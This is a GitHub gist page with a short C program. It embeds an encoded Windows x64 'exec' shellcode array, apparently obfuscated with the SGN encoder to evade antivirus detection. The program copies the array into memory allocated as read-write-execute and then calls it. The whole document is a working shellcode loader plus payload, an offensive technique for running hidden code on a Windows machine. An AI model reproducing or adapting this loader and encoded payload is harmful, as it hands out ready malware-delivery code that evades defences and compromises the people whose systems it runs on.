Skip to content

Instantly share code, notes, and snippets.

@EgeBalci
Created September 21, 2023 13:14
Show Gist options
  • Save EgeBalci/93e8e01dc2ceea72a06fa00a19fe42e3 to your computer and use it in GitHub Desktop.
Save EgeBalci/93e8e01dc2ceea72a06fa00a19fe42e3 to your computer and use it in GitHub Desktop.
#include <windows.h>
// SGN encoded windows/x64/exec shellcode
unsigned char shellcode[] = {
0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x89, 0xec, 0x5d,
0xeb, 0x01, 0xfc, 0xe8, 0x33, 0x01, 0x00, 0x00, 0x62, 0x6d, 0x91, 0x56,
0x51, 0x8b, 0xcb, 0x8a, 0x4d, 0xc2, 0x38, 0x67, 0x09, 0x00, 0x00, 0x15,
0x00, 0x45, 0x30, 0x1c, 0x0a, 0x45, 0x02, 0x1c, 0x0a, 0xe2, 0xf6, 0x44,
0xf2, 0xf9, 0x23, 0x12, 0xee, 0xa0, 0xdb, 0xbf, 0x8f, 0x67, 0xa7, 0xa7,
0xa7, 0x27, 0x44, 0x95, 0xd4, 0x60, 0xb0, 0xdd, 0x0b, 0x23, 0x92, 0xbe,
0xdb, 0x83, 0xe4, 0x36, 0x46, 0x08, 0x63, 0x01, 0x99, 0xcd, 0xa6, 0xf4,
0xc4, 0x8a, 0xfd, 0x6f, 0xbf, 0xe7, 0x86, 0xad, 0xd7, 0x1d, 0x2e, 0x9f,
0x46, 0xec, 0xdd, 0xdd, 0x09, 0xb5, 0x24, 0x54, 0x06, 0x2a, 0x88, 0xc9,
0xf6, 0x3f, 0xb0, 0xf1, 0xee, 0xaf, 0x8d, 0x5c, 0x8c, 0x2d, 0x7c, 0x22,
0x05, 0x17, 0x27, 0x28, 0x12, 0xae, 0xe4, 0xc5, 0x01, 0x8a, 0x0a, 0x82,
0x82, 0x82, 0x72, 0x30, 0x35, 0xf5, 0x7d, 0x9a, 0xd0, 0xd1, 0xe1, 0xad,
0x96, 0xde, 0xc6, 0x7c, 0xf7, 0xb7,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 0x42,
0x48, 0x0f, 0x49, 0xc0, 0x48, 0x89, 0xec, 0x5d, 0x81, 0x29, 0x21, 0xba,
0x1d, 0x0e, 0x41, 0x51, 0x41, 0xc0, 0xd1, 0x50, 0x41, 0x59, 0x81, 0x69,
0x04, 0x8a, 0xc9, 0xb2, 0x89, 0x81, 0x69, 0x08, 0x4d, 0xc2, 0xec, 0xd9,
0xeb, 0x01, 0xe7, 0xc1, 0x49, 0x0c, 0xd8, 0x51, 0xc3
};
int main(int argc, char const *argv[])
{
char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, shellcode, sizeof(shellcode));
(*(void(*)())BUFFER)();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment